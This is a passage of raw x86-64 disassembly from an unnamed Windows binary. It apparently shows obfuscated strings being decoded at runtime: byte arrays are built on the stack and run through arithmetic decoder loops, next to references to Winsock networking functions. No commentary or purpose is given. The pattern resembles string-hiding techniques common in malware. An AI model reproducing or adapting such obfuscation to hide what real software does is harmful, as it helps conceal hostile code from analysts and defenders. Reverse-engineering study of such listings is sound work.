mov byte [rbp + 0xa9f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xaa0], 0x27
mov byte [rbp + 0xaa1], 0x27
mov byte [rbp + 0xaa2], 0x27
lea rcx, [rbp + 0xa98]
call fcn.140028020
mov qword [rbp + 0x3e0], rax
mov byte [rbp + 0xab0], 0
mov byte [rbp + 0xab1], 0x45
mov byte [rbp + 0xab2], 0x76
mov byte [rbp + 0xab3], 0x1f
mov byte [rbp + 0xab4], 0x76
mov byte [rbp + 0xab5], 0x41
mov byte [rbp + 0xab6], 0x76
mov byte [rbp + 0xab7], 0x3b
mov byte [rbp + 0xab8], 0x76
mov byte [rbp + 0xab9], 0x76
mov byte [rbp + 0xaba], 0x76
lea rcx, [rbp + 0xab0]
call fcn.140028520
mov qword [rbp + 0x3e8], rax
mov byte [rbp + 0xac8], 0
mov byte [rbp + 0xac9], 0x7b
mov byte [rbp + 0xaca], setsockopt
mov byte [rbp + 0xacb], 2
mov byte [rbp + 0xacc], setsockopt
mov byte [rbp + 0xacd], gethostbyname
mov byte [rbp + 0xace], setsockopt
mov byte [rbp + 0xacf], WSAGetLastError
mov byte [rbp + 0xad0], setsockopt
mov byte [rbp + 0xad1], setsockopt
mov byte [rbp + 0xad2], setsockopt
lea rcx, [rbp + 0xac8]
call fcn.1400289a0
mov qword [rbp + 0x3f0], rax
mov byte [rbp + 0xae0], 0
mov byte [rbp + 0xae1], 9
mov byte [rbp + 0xae2], 0x18
mov byte [rbp + 0xae3], 0x2c
mov byte [rbp + 0xae4], 0x18
mov byte [rbp + 0xae5], shutdown
mov byte [rbp + 0xae6], 0x18
mov byte [rbp + 0xae7], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xae8], 0x18
mov byte [rbp + 0xae9], 0x18
mov byte [rbp + 0xaea], 0x18
lea rcx, [rbp + 0xae0]
call fcn.140028e70
mov qword [rbp + 0x3f8], rax
mov byte [rbp + 0xaf8], 0
mov byte [rbp + 0xaf9], 0x5f
mov byte [rbp + 0xafa], 0x3d
mov byte [rbp + 0xafb], 0x3a
mov byte [rbp + 0xafc], 0x3d
mov byte [rbp + 0xafd], 0x41
mov byte [rbp + 0xafe], 0x3d
mov byte [rbp + 0xaff], 0x76
mov byte [rbp + 0xb00], 0x3d
mov byte [rbp + 0xb01], 0x3d
mov byte [rbp + 0xb02], 0x3d
lea rcx, [rbp + 0xaf8]
call fcn.1400292c0
mov qword [rbp + 0x400], rax
mov byte [rbp + 0xb08], 0
mov byte [rbp + 0xb09], WSACleanup
mov byte [rbp + 0xb0a], 0x2a
mov byte [rbp + 0xb0b], 0x2b
mov byte [rbp + 0xb0c], 0x2a
mov byte [rbp + 0xb0d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xb0e], 0x2a
mov byte [rbp + 0xb0f], WSAGetLastError
mov byte [rbp + 0xb10], 0x2a
mov byte [rbp + 0xb11], 0x2a
mov byte [rbp + 0xb12], 0x2a
lea rcx, [rbp + 0xb08]
call fcn.140029710
mov qword [rbp + 0x408], rax
mov byte [rbp + 0xb18], 0
mov byte [rbp + 0xb19], 7
mov byte [rbp + 0xb1a], 9
mov byte [rbp + 0xb1b], 0x41
mov byte [rbp + 0xb1c], 9
mov byte [rbp + 0xb1d], 0x62
mov byte [rbp + 0xb1e], 9
mov byte [rbp + 0xb1f], 0x3c
mov byte [rbp + 0xb20], 9
mov byte [rbp + 0xb21], 9
mov byte [rbp + 0xb22], 9
lea rcx, [rbp + 0xb18]
call fcn.140029b50
mov qword [rbp + 0x410], rax
mov byte [rbp + 0xb28], 0
mov byte [rbp + 0xb29], 0x44
mov byte [rbp + 0xb2a], 4
mov byte [rbp + 0xb2b], 0x75
mov byte [rbp + 0xb2c], 4
mov byte [rbp + 0xb2d], 0x25
mov byte [rbp + 0xb2e], 4
mov byte [rbp + 0xb2f], 0x51
mov byte [rbp + 0xb30], 4
mov byte [rbp + 0xb31], 4
mov byte [rbp + 0xb32], 4
lea rcx, [rbp + 0xb28]
call fcn.140029fd0
mov qword [rbp + 0x418], rax
mov byte [rbp + 0xb58], 0
mov byte [rbp + 0xb59], 0x22
mov byte [rbp + 0xb5a], 0x45
mov byte [rbp + 0xb5b], 0x21
mov byte [rbp + 0xb5c], 0x45
mov byte [rbp + 0xb5d], 0x2d
mov byte [rbp + 0xb5e], 0x45
mov byte [rbp + 0xb5f], 0x27
mov byte [rbp + 0xb60], 0x45
mov byte [rbp + 0xb61], 0x45
mov byte [rbp + 0xb62], 0x45
lea rcx, [rbp + 0xb58]
call fcn.14002a450
mov qword [rbp + 0x420], rax
mov byte [rbp + 0x8e0], 0
mov byte [rbp + 0x8e1], 0x43
mov byte [rbp + 0x8e2], pe_nt_image_headers64
mov byte [rbp + 0x8e3], 0x50
mov byte [rbp + 0x8e4], pe_nt_image_headers64
mov byte [rbp + 0x8e5], gethostbyname
mov byte [rbp + 0x8e6], pe_nt_image_headers64
mov byte [rbp + 0x8e7], gethostbyname
mov byte [rbp + 0x8e8], pe_nt_image_headers64
mov byte [rbp + 0x8e9], 0x19
mov byte [rbp + 0x8ea], pe_nt_image_headers64
mov byte [rbp + 0x8eb], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x8ec], pe_nt_image_headers64
mov byte [rbp + 0x8ed], WSAGetLastError
mov byte [rbp + 0x8ee], pe_nt_image_headers64
mov byte [rbp + 0x8ef], 0x22
mov byte [rbp + 0x8f0], pe_nt_image_headers64
mov byte [rbp + 0x8f1], gethostbyname
mov byte [rbp + 0x8f2], pe_nt_image_headers64
mov byte [rbp + 0x8f3], pe_nt_image_headers64
mov byte [rbp + 0x8f4], pe_nt_image_headers64
mov al, byte [rbp + 0x8e0]
test al, 1
jne 0x14001d61a
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x8e1]
movzx ecx, cl
imul ecx, ecx, 0xffffffd4
mov edx, ecx
add edx, 0x14a0
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x14a0
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x14a0
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x8e1], cl
add rax, 1
cmp rax, 0x14
jne 0x14001d5a0
lea rax, [rbp + 0x8e1]
mov qword [rbp + 0x428], rax
mov byte [rbp + 0xb68], 0
mov byte [rbp + 0xb69], 0x5d
mov byte [rbp + 0xb6a], 0x49
mov byte [rbp + 0xb6b], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb6c], 0x49
mov byte [rbp + 0xb6d], 0x7b
mov byte [rbp + 0xb6e], 0x49
mov byte [rbp + 0xb6f], 0x1e
mov byte [rbp + 0xb70], 0x49
mov byte [rbp + 0xb71], 0x49
mov byte [rbp + 0xb72], 0x49
lea rcx, [rbp + 0xb68]
call fcn.14002a920
mov qword [rbp + 0x430], rax
mov byte [rbp + 0xb78], 0
mov byte [rbp + 0xb79], gethostbyname
mov byte [rbp + 0xb7a], 0x60
mov byte [rbp + 0xb7b], reloc.WS2_32.dll_socket
mov byte [rbp + 0xb7c], 0x60
mov byte [rbp + 0xb7d], 0x77
mov byte [rbp + 0xb7e], 0x60
mov byte [rbp + 0xb7f], 0x25
mov byte [rbp + 0xb80], 0x60
mov byte [rbp + 0xb81], 0x60
mov byte [rbp + 0xb82], 0x60
lea rcx, [rbp + 0xb78]
call fcn.14002adc0
mov qword [rbp + 0x438], rax
mov byte [rbp + 0xa28], 0
mov byte [rbp + 0xa29], WSACleanup
mov byte [rbp + 0xa2a], WSAGetLastError
mov byte [rbp + 0xa2b], 0x5b
mov byte [rbp + 0xa2c], WSAGetLastError
mov byte [rbp + 0xa2d], gethostbyname
mov byte [rbp + 0xa2e], WSAGetLastError
mov byte [rbp + 0xa2f], 8
mov byte [rbp + 0xa30], WSAGetLastError
mov byte [rbp + 0xa31], WSAGetLastError
mov byte [rbp + 0xa32], WSAGetLastError
mov byte [rbp + 0xa33], reloc.WS2_32.dll_socket
mov byte [rbp + 0xa34], WSAGetLastError
mov byte [rbp + 0xa35], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa36], WSAGetLastError
mov byte [rbp + 0xa37], 0x1c
mov byte [rbp + 0xa38], WSAGetLastError
mov byte [rbp + 0xa39], WSAGetLastError
mov byte [rbp + 0xa3a], WSAGetLastError
mov al, byte [rbp + 0xa28]
test al, 1
jne 0x14001d7fa
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0xa29]
movzx ecx, cl
imul ecx, ecx, 0xffffffe6
mov edx, ecx
add edx, 0xaaa
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xaaa
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xaaa
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xa29], cl
add rax, 1
cmp rax, 0x12
jne 0x14001d780
lea rax, [rbp + 0xa29]
mov qword [rbp + 0x440], rax
mov byte [rbp + 0xb38], 0
mov byte [rbp + 0xb39], WSACleanup
mov byte [rbp + 0xb3a], shutdown
mov byte [rbp + 0xb3b], 0x52
mov byte [rbp + 0xb3c], shutdown
mov byte [rbp + 0xb3d], 0x44
mov byte [rbp + 0xb3e], shutdown
mov byte [rbp + 0xb3f], 0x1d
mov byte [rbp + 0xb40], shutdown
mov byte [rbp + 0xb41], shutdown
mov byte [rbp + 0xb42], shutdown
lea rcx, [rbp + 0xb38]
call fcn.14002b240
mov qword [rbp + 0x448], rax
mov byte [rbp + 0xb48], 0
mov byte [rbp + 0xb49], 0x1e
mov byte [rbp + 0xb4a], 0x7b
mov byte [rbp + 0xb4b], 7
mov byte [rbp + 0xb4c], 0x7b
mov byte [rbp + 0xb4d], 0xe
mov byte [rbp + 0xb4e], 0x7b
mov byte [rbp + 0xb4f], 0x63
mov byte [rbp + 0xb50], 0x7b
mov byte [rbp + 0xb51], 0x7b
mov byte [rbp + 0xb52], 0x7b
lea rcx, [rbp + 0xb48]
call fcn.14002b6e0
mov qword [rbp + 0x450], rax
mov byte [rbp + 0x570], 0
mov byte [rbp + 0x571], 0x24
mov byte [rbp + 0x572], 0x5a
mov byte [rbp + 0x573], 0x50
mov byte [rbp + 0x574], 0x5a
mov byte [rbp + 0x575], 0x52
mov byte [rbp + 0x576], 0x5a
mov byte [rbp + 0x577], 0x26
mov byte [rbp + 0x578], 0x5a
mov byte [rbp + 0x579], 0x5a
mov byte [rbp + 0x57a], 0x5a
lea rcx, [rbp + 0x570]
call fcn.14002bb30
mov qword [rbp + 0x458], rax
mov byte [rbp + 0x580], 0
mov byte [rbp + 0x581], 0x66
mov byte [rbp + 0x582], 0x55
mov byte [rbp + 0x583], 0x5e
mov byte [rbp + 0x584], 0x55
mov byte [rbp + 0x585], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x586], 0x55
mov byte [rbp + 0x587], 0x75
mov byte [rbp + 0x588], 0x55
mov byte [rbp + 0x589], 0x55
mov byte [rbp + 0x58a], 0x55
lea rcx, [rbp + 0x580]
call fcn.14002bfb0
mov qword [rbp + 0x460], rax
mov byte [rbp + 0x590], 0
mov byte [rbp + 0x591], 0x58
mov byte [rbp + 0x592], 0x18
mov byte [rbp + 0x593], 0x1c
mov byte [rbp + 0x594], 0x18
mov byte [rbp + 0x595], 0x56
mov byte [rbp + 0x596], 0x18
mov byte [rbp + 0x597], 0x61
mov byte [rbp + 0x598], 0x18
mov byte [rbp + 0x599], 0x18
mov byte [rbp + 0x59a], 0x18
lea rcx, [rbp + 0x590]
call fcn.14002c430
mov qword [rbp + 0x468], rax
mov byte [rbp + 0x5a0], 0
mov byte [rbp + 0x5a1], 0x68
mov byte [rbp + 0x5a2], 0x4b
mov byte [rbp + 0x5a3], 0x54
mov byte [rbp + 0x5a4], 0x4b
mov byte [rbp + 0x5a5], 0x60
mov byte [rbp + 0x5a6], 0x4b
mov byte [rbp + 0x5a7], gethostname
mov byte [rbp + 0x5a8], 0x4b
mov byte [rbp + 0x5a9], 0x4b
mov byte [rbp + 0x5aa], 0x4b
lea rcx, [rbp + 0x5a0]
call fcn.14002c8b0
mov qword [rbp + 0x470], rax
mov byte [rbp + 0x5b0], 0
mov byte [rbp + 0x5b1], gethostname
mov byte [rbp + 0x5b2], 0x1c
mov byte [rbp + 0x5b3], 0x1b
mov byte [rbp + 0x5b4], 0x1c
mov byte [rbp + 0x5b5], 0x4f
mov byte [rbp + 0x5b6], 0x1c
mov byte [rbp + 0x5b7], 0x1b
mov byte [rbp + 0x5b8], 0x1c
mov byte [rbp + 0x5b9], 0x1c
mov byte [rbp + 0x5ba], 0x1c
lea rcx, [rbp + 0x5b0]
call fcn.14002cd50
mov qword [rbp + 0x478], rax
mov byte [rbp + 0x908], 0
mov byte [rbp + 0x909], 0x47
mov byte [rbp + 0x90a], gethostbyname
mov byte [rbp + 0x90b], 0x65
mov byte [rbp + 0x90c], gethostbyname
mov byte [rbp + 0x90d], gethostbyname
mov byte [rbp + 0x90e], gethostbyname
mov byte [rbp + 0x90f], 0x7c
mov byte [rbp + 0x910], gethostbyname
mov byte [rbp + 0x911], 0x1e
mov byte [rbp + 0x912], gethostbyname
mov byte [rbp + 0x913], 0x62
mov byte [rbp + 0x914], gethostbyname
mov byte [rbp + 0x915], 6
mov byte [rbp + 0x916], gethostbyname
mov byte [rbp + 0x917], 0x60
mov byte [rbp + 0x918], gethostbyname
mov byte [rbp + 0x919], 0x49
mov byte [rbp + 0x91a], gethostbyname
mov byte [rbp + 0x91b], gethostbyname
mov byte [rbp + 0x91c], gethostbyname
mov al, byte [rbp + 0x908]
test al, 1
jne 0x14001dbce
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x909]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rcx*2]
add ecx, 0xfffffd03
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffd03
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffd03
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x909], cl
add rax, 1
cmp rax, 0x14
jne 0x14001db50
lea rax, [rbp + 0x909]
mov qword [rbp + 0x480], rax
mov byte [rbp + 0x5c0], 0
mov byte [rbp + 0x5c1], 0x47
mov byte [rbp + 0x5c2], 0x3c
mov byte [rbp + 0x5c3], 0x18
mov byte [rbp + 0x5c4], 0x3c
mov byte [rbp + 0x5c5], 0x2a
mov byte [rbp + 0x5c6], 0x3c
mov byte [rbp + 0x5c7], 0x18
mov byte [rbp + 0x5c8], 0x3c
mov byte [rbp + 0x5c9], 0x3c
mov byte [rbp + 0x5ca], 0x3c
lea rcx, [rbp + 0x5c0]
call fcn.14002d1d0
mov qword [rbp + 0x488], rax
mov byte [rbp + 0x9b8], 0
mov byte [rbp + 0x9b9], 0x4e
mov byte [rbp + 0x9ba], 0x61
mov byte [rbp + 0x9bb], 0x1b
mov byte [rbp + 0x9bc], 0x61
mov byte [rbp + 0x9bd], 0x2b
mov byte [rbp + 0x9be], 0x61
mov byte [rbp + 0x9bf], gethostbyname
mov byte [rbp + 0x9c0], 0x61
mov byte [rbp + 0x9c1], 0x79
mov byte [rbp + 0x9c2], 0x61
mov byte [rbp + 0x9c3], gethostbyname
mov byte [rbp + 0x9c4], 0x61
mov byte [rbp + 0x9c5], 0x61
mov byte [rbp + 0x9c6], 0x61
mov al, byte [rbp + 0x9b8]
test al, 1
jne 0x14001dd3e
xor eax, eax
nop word cs:[rax + rax]
nop
movzx ecx, byte [rbp + rax + 0x9b9]
movzx ecx, cl
mov edx, ecx
shl edx, 5
sub edx, ecx
mov ecx, edx
add ecx, 0xfffff441
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffff441
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffff441
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x9b9], cl
add rax, 1
cmp rax, 0xe
jne 0x14001dcc0
lea rax, [rbp + 0x9b9]
mov qword [rbp + 0x490], rax
mov byte [rbp + 0x718], 0
mov byte [rbp + 0x719], gethostbyname
mov byte [rbp + 0x71a], 0x4e
mov byte [rbp + 0x71b], 0x2c
mov byte [rbp + 0x71c], 0x4e
mov byte [rbp + 0x71d], 0x1e
mov byte [rbp + 0x71e], 0x4e
mov byte [rbp + 0x71f], 0x5a
mov byte [rbp + 0x720], 0x4e
mov byte [rbp + 0x721], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x722], 0x4e
mov byte [rbp + 0x723], 0x5a
mov byte [rbp + 0x724], 0x4e
mov byte [rbp + 0x725], 0x7c
mov byte [rbp + 0x726], 0x4e
mov byte [rbp + 0x727], 0x2b
mov byte [rbp + 0x728], 0x4e
mov byte [rbp + 0x729], 3
mov byte [rbp + 0x72a], 0x4e
mov byte [rbp + 0x72b], 0x61
mov byte [rbp + 0x72c], 0x4e
mov byte [rbp + 0x72d], 0x4e
mov byte [rbp + 0x72e], 0x4e
mov al, byte [rbp + 0x718]
test al, 1
jne 0x14001de7e
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x719]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea ebx, [rcx + rdx*2]
lea ecx, [rcx + rdx*2]
add ecx, 0xfffffa36
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffffa36
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffffa36
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x719], cl
add rax, 1
cmp rax, 0x16
jne 0x14001de00
lea rax, [rbp + 0x719]
mov qword [rbp + 0x498], rax
mov byte [rbp + 0x5d0], 0
mov byte [rbp + 0x5d1], WSAGetLastError
mov byte [rbp + 0x5d2], 0x2d
mov byte [rbp + 0x5d3], 0x3e
mov byte [rbp + 0x5d4], 0x2d
mov byte [rbp + 0x5d5], 0x3d
mov byte [rbp + 0x5d6], 0x2d
mov byte [rbp + 0x5d7], 0x2c
mov byte [rbp + 0x5d8], 0x2d
mov byte [rbp + 0x5d9], 0x2d
mov byte [rbp + 0x5da], 0x2d
lea rcx, [rbp + 0x5d0]
call fcn.14002d650
mov qword [rbp + 0x4a0], rax
mov byte [rbp + 0x800], 0
mov byte [rbp + 0x801], WSAGetLastError
mov byte [rbp + 0x802], 0x28
mov byte [rbp + 0x803], 0x22
mov byte [rbp + 0x804], 0x28
mov byte [rbp + 0x805], gethostname
mov byte [rbp + 0x806], 0x28
mov byte [rbp + 0x807], 0x62
mov byte [rbp + 0x808], 0x28
mov byte [rbp + 0x809], 0x1b
mov byte [rbp + 0x80a], 0x28
mov byte [rbp + 0x80b], 0x28
mov byte [rbp + 0x80c], 0x28
mov al, byte [rbp + 0x800]
test al, 1
jne 0x14001dfd5
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0x801]
movzx ecx, cl
add ecx, ecx
lea ecx, [rcx + rcx*8]
mov edx, 0x2d0
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x2d0
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x801], cl
add rax, 1
cmp rax, 0xc
jne 0x14001df60
lea rax, [rbp + 0x801]
mov qword [rbp + 0x4a8], rax
mov byte [rbp + 0x5e0], 0
mov byte [rbp + 0x5e1], 0x7a
mov byte [rbp + 0x5e2], WSAGetLastError
mov byte [rbp + 0x5e3], 0x46
mov byte [rbp + 0x5e4], WSAGetLastError
mov byte [rbp + 0x5e5], 0x7b
mov byte [rbp + 0x5e6], WSAGetLastError
mov byte [rbp + 0x5e7], 0x1f
mov byte [rbp + 0x5e8], WSAGetLastError
mov byte [rbp + 0x5e9], WSAGetLastError
mov byte [rbp + 0x5ea], WSAGetLastError
lea rcx, [rbp + 0x5e0]
call fcn.14002db10
mov qword [rbp + 0x4b0], rax
mov byte [rbp + 0x5f0], 0
mov byte [rbp + 0x5f1], 0x79
mov byte [rbp + 0x5f2], 0x1e
mov byte [rbp + 0x5f3], gethostbyname
mov byte [rbp + 0x5f4], 0x1e
mov byte [rbp + 0x5f5], inet_ntoa
mov byte [rbp + 0x5f6], 0x1e
mov byte [rbp + 0x5f7], 0x3b
mov byte [rbp + 0x5f8], 0x1e
mov byte [rbp + 0x5f9], 0x1e
mov byte [rbp + 0x5fa], 0x1e
lea rcx, [rbp + 0x5f0]
call fcn.14002df90
mov qword [rbp + 0x4b8], rax
mov byte [rbp + 0x600], 0
mov byte [rbp + 0x601], 0x4a
mov byte [rbp + 0x602], WSAGetLastError
mov byte [rbp + 0x603], 0x49
mov byte [rbp + 0x604], WSAGetLastError
mov byte [rbp + 0x605], 0x55
mov byte [rbp + 0x606], WSAGetLastError
mov byte [rbp + 0x607], 0x41
mov byte [rbp + 0x608], WSAGetLastError
mov byte [rbp + 0x609], WSAGetLastError
mov byte [rbp + 0x60a], WSAGetLastError
lea rcx, [rbp + 0x600]
call fcn.14002e440
mov qword [rbp + 0x4c0], rax
mov byte [rbp + 0x610], 0
mov byte [rbp + 0x611], 0x1f
mov byte [rbp + 0x612], 6
mov byte [rbp + 0x613], 0x64
mov byte [rbp + 0x614], 6
mov byte [rbp + 0x615], 0x63
mov byte [rbp + 0x616], 6
mov byte [rbp + 0x617], pe_nt_image_headers64
mov byte [rbp + 0x618], 6
mov byte [rbp + 0x619], 6
mov byte [rbp + 0x61a], 6
lea rcx, [rbp + 0x610]
call fcn.14002e910
mov qword [rbp + 0x4c8], rax
mov byte [rbp + 0x620], 0
mov byte [rbp + 0x621], 0x3e
mov byte [rbp + 0x622], setsockopt
mov byte [rbp + 0x623], gethostbyname
mov byte [rbp + 0x624], setsockopt
mov byte [rbp + 0x625], reloc.WS2_32.dll_socket
mov byte [rbp + 0x626], setsockopt
mov byte [rbp + 0x627], 0x77
mov byte [rbp + 0x628], setsockopt
mov byte [rbp + 0x629], setsockopt
mov byte [rbp + 0x62a], setsockopt
lea rcx, [rbp + 0x620]
call fcn.14002ed60
mov qword [rbp + 0x4d0], rax
mov byte [rbp + 0x630], 0
mov byte [rbp + 0x631], 3
mov byte [rbp + 0x632], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x633], gethostname
mov byte [rbp + 0x634], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x635], 0x1b
mov byte [rbp + 0x636], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x637], 0x5f
mov byte [rbp + 0x638], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x639], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x63a], reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp + 0x630]
call fcn.14002f260
mov qword [rbp + 0x4d8], rax
mov byte [rbp + 0x640], 0
mov byte [rbp + 0x641], 0xe
mov byte [rbp + 0x642], 0x21
mov byte [rbp + 0x643], 0x45
mov byte [rbp + 0x644], 0x21
mov byte [rbp + 0x645], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x646], 0x21
mov byte [rbp + 0x647], 0x41
mov byte [rbp + 0x648], 0x21
mov byte [rbp + 0x649], 0x21
mov byte [rbp + 0x64a], 0x21
lea rcx, [rbp + 0x640]
call fcn.14002f6e0
mov qword [rbp + 0x4e0], rax
mov byte [rbp + 0xbc8], 0
mov byte [rbp + 0xbc9], WSACleanup
mov byte [rbp + 0xbca], 0
mov byte [rbp + 0xbcb], 0x5a
mov byte [rbp + 0xbcc], 0
mov byte [rbp + 0xbcd], 0x1a
mov byte [rbp + 0xbce], 0
mov byte [rbp + 0xbcf], 0x4d
mov byte [rbp + 0xbd0], 0
mov byte [rbp + 0xbd1], 0
mov byte [rbp + 0xbd2], 0
mov al, byte [rbp + 0xbc8]
test al, 1
jne 0x14001e66c
mov al, byte [rbp + 0xbc9]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xbc9], al
mov al, byte [rbp + 0xbca]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xbca], al
mov al, byte [rbp + 0xbcb]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xbcb], al
mov al, byte [rbp + 0xbcc]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xbcc], al
mov al, byte [rbp + 0xbcd]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xbcd], al
mov al, byte [rbp + 0xbce]
movzx eax, al
shl eax, 2
lea eax, [rax + rax*4]
movzx ecx, ax
imul ecx, ecx, 0x205
shr ecx, 0x10
mov edx, eax
sub edx, ecx
movzx edx, dx
shr edx, 1
add edx, ecx
shr edx, 6
mov ecx, edx
shl ecx, 7
sub edx, ecx
add edx, eax
xor dl, 0x7f
movzx eax, dl
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
